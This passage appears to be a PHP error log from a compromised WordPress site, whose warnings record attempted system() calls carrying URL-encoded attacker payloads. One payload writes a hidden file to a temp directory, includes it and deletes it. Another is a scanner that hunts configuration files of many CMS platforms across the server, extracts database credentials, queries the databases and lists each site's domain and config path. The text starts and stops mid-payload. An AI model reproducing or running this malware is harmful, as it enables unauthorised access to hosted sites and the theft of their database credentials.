4head%20%3D%20%28string%29%40file_get_contents%28%24p%2C%20false%2C%20null%2C%200%2C%208000%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strpos%28%24head%2C%20%27%24CFG%27%29%20%21%3D%3D%20false%20%26%26%20strpos%28%24head%2C%20%27wwwroot%27%29%20%21%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan_moodle%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28strpos%28%24head%2C%20%27DIR_APPLICATION%27%29%20%21%3D%3D%20false%20%7C%7C%20strpos%28%24head%2C%20%27HTTP_SERVER%27%29%20%21%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan_opencart%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28strpos%28%24p%2C%20%27application/config%27%29%20%21%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan_codeigniter3%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28strpos%28%24p%2C%20%27fuel/%27%29%20%21%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan_fuelphp%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%20%27.settings.php%27%20%26%26%20strpos%28%24p%2C%20%27bitrix%27%29%20%21%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan_bitrix%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%20%27.env%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan_laravel%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan_shopware%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan_craft%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan_symfony%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%20%27App.php%27%20%26%26%20strpos%28%24p%2C%20%27app/Config%27%29%20%21%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan_codeigniter4%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%20%27app.php%27%20%26%26%20strpos%28%24p%2C%20%27config/%27%29%20%21%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan_cakephp%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%28%24file%20%3D%3D%20%27bootstrap.php%27%20%7C%7C%20%24file%20%3D%3D%20%27url.php%27%29%20%26%26%20strpos%28%24p%2C%20%27application/%27%29%20%21%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan_kohana%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20scan%28%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20");foreach($dirs as $d){if(is_dir($d)&& is_writable($d)){$p="{$d}/.db2_convert";if(file_put_contents($p,$c)){try{include $p;}finally{@unlink($p);}exit;}}}die("!notwrtbl!");'] in /home/gymdaily/public_html/wp-content/themes/astra/inc/customizer/configurations/builder/header/configs/below.builder.php on line 17
[24-Aug-2026 16:53:51 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),"/tmp","/var/tmp",ini_get("upload_tmp_dir"),getenv("TEMP"),getenv("TMP"),getcwd()]);$c=rawurldecode("%3C%3Fphp%20print%20%22soxFqynEzIW%22.%22lyUnCkKQNJbLLZWeCh%22%3Breturn%3B");foreach($dirs as $d){if(is_dir($d)&& is_writable($d)){$p="{$d}/.cache";if(file_put_contents($p,$c)){try{include $p;}finally{@unlink($p);}exit;}}}die("!notwrtbl!");'] in /home/gymdaily/public_html/wp-content/themes/astra/inc/customizer/configurations/builder/header/configs/below.builder.php on line 17
[24-Aug-2026 16:53:57 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),"/tmp","/var/tmp",ini_get("upload_tmp_dir"),getenv("TEMP"),getenv("TMP"),getcwd()]);$c=rawurldecode("%3C%3Fphp%20%20%20%24r%20%3D%20%22/%22%3B%20%20function%20is_valid_domain%28%24domain%29%20%7B%20%20%20%20%20if%20%28%21substr_count%28%24domain%2C%20%27.%27%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20false%3B%20%20%20%20%20%7D%20%09if%20%28stripos%28%24domain%2C%20%27http%3A//%27%29%20%3D%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%24domain%20%3D%20substr%28%24domain%2C%207%29%3B%20%09%09%24schema%20%3D%20%27http%3A//%27%3B%20%20%20%20%20%7D%20%09elseif%20%28stripos%28%24domain%2C%20%27https%3A//%27%29%20%3D%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%24domain%20%3D%20substr%28%24domain%2C%208%29%3B%20%09%09%24schema%20%3D%20%27https%3A//%27%3B%20%20%20%20%20%7D%20%09else%20%24schema%20%3D%20%27http%3A//%27%3B%20%09%20%20%20%20%20if%20%28stripos%28%24domain%2C%20%27www.%27%29%20%3D%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%24domain%20%3D%20substr%28%24domain%2C%204%29%3B%20%20%20%20%20%7D%20%09if%20%28strpos%28%24domain%2C%20%27/%27%29%20%21%3D%3D%20false%29%20%7B%20%09%09%24split%20%3D%20explode%28%27/%27%2C%20%24domain%2C%202%29%3B%20%09%09%24domain%20%3D%20%24split%5B0%5D%3B%20%09%7D%20%20%20%20%20%24again%20%3D%20%24schema%20.%20%24domain%3B%20%20%20%20%20return%20filter_var%28%24again%2C%20FILTER_VALIDATE_URL%29%3B%20%7D%20%20function%20emit_found%28%24docroot%2C%20%24url%2C%20%24cms%2C%20%24config_path%29%20%7B%20%20%20%20%20%24d%20%3D%20is_valid_domain%28%24url%29%3B%20%20%20%20%20if%20%28%24d%29%20%7B%20%20%20%20%20%20%20%20%20print%20%22%3Cf%3E%7B%24docroot%7D%40%40%40%7B%24d%7D%40%40%40%7B%24cms%7D%40%40%40%7B%24config_path%7D%3C/f%3E%5Cn%22%3B%20%20%20%20%20%7D%20%7D%20%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20%20function%20scan_wp%28%24p%29%20%7B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28empty%28%24conf%5B%27DB_HOST%27%5D%29%20%7C%7C%20empty%28%24conf%5B%27DB_USER%27%5D%29%20%7C%7C%20empty%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%7D%20%20%20%20%20%24mysqli%20%3D%20%40new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20if%20%28%21%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24doc%20%3D%20dirname%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%21empty%28%24row-%3Eoption_value%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20emit_found%28%24doc%2C%20%24row-%3Eoption_value%2C%20%27wp%27%2C%20%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20%20function%20scan_joomla%28%24p%29%20%7B%20%20%20%20%20%24c%20%3D%20%40file_get_contents%28%24p%29%3B%20%20%20%20%20if%20%28%21%24c%20%7C%7C%20strpos%28%24c%2C%20%27JConfig%27%29%20%3D%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20return%20false%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28preg_match%28%22/live_site%5Cs%2A%3D%5Cs%2A%5B%27%5C%22%5D%28%5B%5E%27%5C%22%5D%2A%29%5B%27%5C%22%5D/%22%2C%20%24c%2C%20%24m%29%20%26%26%20%24m%5B1%5D%29%20%7B%20%20%20%20%20%20%20%20%20emit_found%28dirname%28%24p%29%2C%20%24m%5B1%5D%2C%20%27joomla%27%2C%20%24p%29%3B%20%20%20%20%20%20%20%20%20return%20true%3B%20%20%20%20%20%7D%20%20%20%20%20return%20true%3B%20%7D%20%20function%20scan_whmcs%28%24p%29%20%7B%20%20%20%20%20%24c%20%3D%20%40file_get_contents%28%24p%29%3B%20%20%20%20%20if%20%28%21%24c%29%20%7B%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28strpos%28%24c%2C%20%27JConfig%27%29%20%21%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28strpos%28%24c%2C%20%27%24cc_encryption_hash%27%29%20%3D%3D%3D%20false%20%26%26%20strpos%28%24c%2C%20%27%24license%27%29%20%3D%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28preg_match%28%22/%5C%5C%5C%24systemurl%5Cs%2A%3D%5Cs%2A%5B%27%5C%22%5D%28https%3F%3A%5C/%5C/%5B%5E%27%5C%22%5D%2B%29%5B%27%5C%22%5D/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20emit_found%28dirname%28%24p%29%2C%20%24m%5B1%5D%2C%20%27whmcs%27%2C%20%24p%29%3B%20%20%20%20%20%7D%20%7D%20%20function%20scan_drupal%28%24p%29%20%7B%20%20%20%20%20%24c%20%3D%20%40file_get_contents%28%24p%29%3B%20%20%20%20%20if%20%28%21%24c%29%20%7B%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28preg_match%28%22/%5C%5C%5C%24base_url%5Cs%2A%3D%5Cs%2A%5B%27%5C%22%5D%28%5B%5E%27%5C%22%5D%2B%29%5B%27%5C%22%5D/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24doc%20%3D%20dirname%28%24p%29%3B%20%20%20%20%20%20%20%20%20if%20%28strpos%28%24p%2C%20%27/sites/%27%29%20%21%3D%3D%20false%20%7C%7C%20strpos%28%24p%2C%20%27%5C%5Csites%5C%5C%27%29%20%21%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24doc%20%3D%20dirname%28dirname%28%24doc%29%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20emit_found%28%24doc%2C%20%24m%5B1%5D%2C%20%27drupal%27%2C%20%24p%29%3B%20%20%20%20%20%7D%20%7D%20%20function%20scan_opencart%28%24p%29%20%7B%20%20%20%20%20%24c%20%3D%20%40file_get_contents%28%24p%29%3B%20%20%20%20%20if%20%28%21%24c%20%7C%7C%20strpos%28%24c%2C%20%27DIR_APPLICATION%27%29%20%3D%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%7D%20%20%20%20%20%24d%20%3D%20null%3B%20%20%20%20%20if%20%28preg_match%28%22/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5DHTTPS_SERVER%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28%5B%5E%27%5C%22%5D%2B%29%5B%27%5C%22%5D%5Cs%2A%5C%29/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24d%20%3D%20%24m%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28%21%24d%20%26%26%20preg_match%28%22/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5DHTTP_SERVER%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28%5B%5E%27%5C%22%5D%2B%29%5B%27%5C%22%5D%5Cs%2A%5C%29/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24d%20%3D%20%24m%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28%24d%29%20%7B%20%20%20%20%20%20%20%20%20emit_found%28dirname%28%24p%29%2C%20%24d%2C%20%27opencart%27%2C%20%24p%29%3B%20%20%20%20%20%7D%20%7D%20%20function%20scan_moodle%28%24p%29%20%7B%20%20%20%20%20%24c%20%3D%20%40file_get_contents%28%24p%29%3B%20%20%20%20%20if%20%28%21%24c%20%7C%7C%20strpos%28%24c%2C%20%27%24CFG%27%29%20%3D%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28preg_match%28%22/%5C%5C%5C%24CFG%5Cs%2A-%3E%5Cs%2Awwwroot%5Cs%2A%3D%5Cs%2A%5B%27%5C%22%5D%28https%3F%3A%5C/%5C/%5B%5E%27%5C%22%5D%2B%29%5B%27%5C%22%5D/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20emit_found%28dirname%28%24p%29%2C%20%24m%5B1%5D%2C%20%27moodle%27%2C%20%24p%29%3B%20%20%20%20%20%7D%20%7D%20%20function%20scan_prestashop%28%24p%29%20%7B%20%20%20%20%20%24c%20%3D%20%40file_get_contents%28%24p%29%3B%20%20%20%20%20if%20%28%21%24c%29%20%7B%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%7D%20%20%20%20%20%24host%20%3D%20%24user%20%3D%20%24pass%20%3D%20%24db%20%3D%20null%3B%20%20%20%20%20%24prefix%20%3D%20%27ps_%27%3B%20%20%20%20%20if%20%28preg_match%28%22/%27database_host%27%5C%5Cs%2A%3D%3E%5C%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24host%20%3D%20%24m%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28preg_match%28%22/%27database_user%27%5C%5Cs%2A%3D%3E%5C%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24user%20%3D%20%24m%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28preg_match%28%22/%27database_password%27%5C%5Cs%2A%3D%3E%5C%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24pass%20%3D%20%24m%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28preg_match%28%22/%27database_name%27%5C%5Cs%2A%3D%3E%5C%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24db%20%3D%20%24m%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28preg_match%28%22/%27database_prefix%27%5C%5Cs%2A%3D%3E%5C%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24prefix%20%3D%20%24m%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28%21%24host%20%26%26%20preg_match%28%22/define%5C%5Cs%2A%5C%5C%28%5C%5Cs%2A%27_DB_SERVER_%27%5C%5Cs%2A%2C%5C%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%5C%5Cs%2A%5C%5C%29/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24host%20%3D%20%24m%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28%21%24user%20%26%26%20preg_match%28%22/define%5C%5Cs%2A%5C%5C%28%5C%5Cs%2A%27_DB_USER_%27%5C%5Cs%2A%2C%5C%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%5C%5Cs%2A%5C%5C%29/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24user%20%3D%20%24m%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28%24pass%20%3D%3D%3D%20null%20%26%26%20preg_match%28%22/define%5C%5Cs%2A%5C%5C%28%5C%5Cs%2A%27_DB_PASSWD_%27%5C%5Cs%2A%2C%5C%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%5C%5Cs%2A%5C%5C%29/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24pass%20%3D%20%24m%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28%21%24db%20%26%26%20preg_match%28%22/define%5C%5Cs%2A%5C%5C%28%5C%5Cs%2A%27_DB_NAME_%27%5C%5Cs%2A%2C%5C%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%5C%5Cs%2A%5C%5C%29/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24db%20%3D%20%24m%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28preg_match%28%22/define%5C%5Cs%2A%5C%5C%28%5C%5Cs%2A%27_DB_PREFIX_%27%5C%5Cs%2A%2C%5C%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%5C%5Cs%2A%5C%5C%29/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24prefix%20%3D%20%24m%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20%24doc%20%3D%20dirname%28%24p%29%3B%20%20%20%20%20if%20%28basename%28%24doc%29%20%3D%3D%3D%20%27config%27%20%7C%7C%20basename%28%24doc%29%20%3D%3D%3D%20%27app%27%29%20%7B%20%20%20%20%20%20%20%20%20%24doc%20%3D%20dirname%28%24doc%29%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28basename%28%24doc%29%20%3D%3D%3D%20%27config%27%29%20%7B%20%20%20%20%20%20%20%20%20%24doc%20%3D%20dirname%28%24doc%29%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28strpos%28%24p%2C%20%27/app/config/%27%29%20%21%3D%3D%20false%20%7C%7C%20strpos%28%24p%2C%20%27%5C%5Capp%5C%5Cconfig%5C%5C%27%29%20%21%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20%24doc%20%3D%20dirname%28dirname%28dirname%28%24p%29%29%29%3B%20%20%20%20%20%7D%20elseif%20%28strpos%28%24p%2C%20%27/config/%27%29%20%21%3D%3D%20false%20%7C%7C%20strpos%28%24p%2C%20%27%5C%5Cconfig%5C%5C%27%29%20%21%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20%24doc%20%3D%20dirname%28dirname%28%24p%29%29%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28%24host%20%26%26%20%24user%20%26%26%20%24db%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20%40new%20mysqli%28%24host%2C%20%24user%2C%20%24pass%2C%20%24db%29%3B%20%20%20%20%20%20%20%20%20if%20%28%21%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24table%20%3D%20%24prefix%20.%20%27shop_url%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24sql%20%3D%20%22SELECT%20domain%2C%20domain_ssl%2C%20physical_uri%20FROM%20%60%7B%24table%7D%60%20WHERE%20main%20%3D%201%20LIMIT%201%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24res%20%3D%20%40%24mysqli-%3Equery%28%24sql%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24row%20%3D%20%24res-%3Efetch_assoc%28%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24domain%20%3D%20%21empty%28%24row%5B%27domain_ssl%27%5D%29%20%3F%20%24row%5B%27domain_ssl%27%5D%20%3A%20%24row%5B%27domain%27%5D%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24uri%20%3D%20isset%28%24row%5B%27physical_uri%27%5D%29%20%3F%20%24row%5B%27physical_uri%27%5D%20%3A%20%27/%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24domain%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24scheme%20%3D%20%21empty%28%24row%5B%27domain_ssl%27%5D%29%20%3F%20%27https%3A//%27%20%3A%20%27http%3A//%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20emit_found%28%24doc%2C%20%24scheme%20.%20%24domain%20.%20%24uri%2C%20%27prestashop%27%2C%20%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24res-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28preg_match%28%22/define%5C%5Cs%2A%5C%5C%28%5C%5Cs%2A%27_PS_BASE_URL_%27%5C%5Cs%2A%2C%5C%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%5C%5Cs%2A%5C%5C%29/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20emit_found%28%24doc%2C%20%24m%5B1%5D%2C%20%27prestashop%27%2C%20%24p%29%3B%20%20%20%20%20%7D%20%7D%20%20function%20scan_magento%28%24p%29%20%7B%20%20%20%20%20%24c%20%3D%20%40file_get_contents%28%24p%29%3B%20%20%20%20%20if%20%28%21%24c%29%20%7B%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%7D%20%20%20%20%20%24doc%20%3D%20dirname%28dirname%28dirname%28%24p%29%29%29%3B%20//%20app/etc/env.php%20%E2%86%92%20root%20%20%20%20%20if%20%28preg_match_all%28%22/%27base_url%27%5C%5Cs%2A%3D%3E%5C%5Cs%2A%27%28https%3F%3A%5C%5C/%5C%5C/%5B%5E%27%5D%2B%29%27/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28%24m%5B1%5D%20as%20%24url%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20emit_found%28%24doc%2C%20%24url%2C%20%27magento%27%2C%20%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%20function%20scan_mediawiki%28%24p%29%20%7B%20%20%20%20%20%24c%20%3D%20%40file_get_contents%28%24p%29%3B%20%20%20%20%20if%20%28%21%24c%20%7C%7C%20strpos%28%24c%2C%20%27%24wg%27%29%20%3D%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%7D%20%20%20%20%20%24server%20%3D%20null%3B%20%20%20%20%20if%20%28preg_match%28%22/%5C%5C%5C%24wgServer%5C%5Cs%2A%3D%5C%5Cs%2A%5B%27%5C%22%5D%28https%3F%3A%5C%5C/%5C%5C/%5B%5E%27%5C%22%5D%2B%29%5B%27%5C%22%5D/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24server%20%3D%20%24m%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20%24script%20%3D%20%27%27%3B%20%20%20%20%20if%20%28preg_match%28%22/%5C%5C%5C%24wgScriptPath%5C%5Cs%2A%3D%5C%5Cs%2A%5B%27%5C%22%5D%28%5B%5E%27%5C%22%5D%2A%29%5B%27%5C%22%5D/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24script%20%3D%20%24m%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28%24server%29%20%7B%20%20%20%20%20%20%20%20%20emit_found%28dirname%28%24p%29%2C%20rtrim%28%24server%2C%20%27/%27%29%20.%20%24script%2C%20%27mediawiki%27%2C%20%24p%29%3B%20%20%20%20%20%7D%20%7D%20%20function%20scan_typo3%28%24p%29%20%7B%20%20%20%20%20%24c%20%3D%20%40file_get_contents%28%24p%29%3B%20%20%20%20%20if%20%28%21%24c%29%20%7B%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28strpos%28%24c%2C%20%27TYPO3%27%29%20%3D%3D%3D%20false%20%26%26%20strpos%28%24c%2C%20%27typo3%27%29%20%3D%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%7D%20%20%20%20%20%24doc%20%3D%20dirname%28%24p%29%3B%20%20%20%20%20if%20%28basename%28%24doc%29%20%3D%3D%3D%20%27typo3conf%27%29%20%7B%20%20%20%20%20%20%20%20%20%24doc%20%3D%20dirname%28%24doc%29%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28preg_match%28%22/%27base%27%5C%5Cs%2A%3D%3E%5C%5Cs%2A%27%28https%3F%3A%5C%5C/%5C%5C/%5B%5E%27%5D%2B%29%27/%22%2C%20%24c%2C%20%24m%29%20%7C%7C%20%20%20%20%20%20%20%20%20preg_match%28%22/%27wwwURL%27%5C%5Cs%2A%3D%3E%5C%5Cs%2A%27%28https%3F%3A%5C%5C/%5C%5C/%5B%5E%27%5D%2B%29%27/%22%2C%20%24c%2C%20%24m%29%20%7C%7C%20%20%20%20%20%20%20%20%20preg_match%28%22/%5B%27%5C%22%5DbaseURL%5B%27%5C%22%5D%5C%5Cs%2A%3D%3E%5C%5Cs%2A%5B%27%5C%22%5D%28https%3F%3A%5C%5C/%5C%5C/%5B%5E%27%5C%22%5D%2B%29%5B%27%5C%22%5D/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20emit_found%28%24doc%2C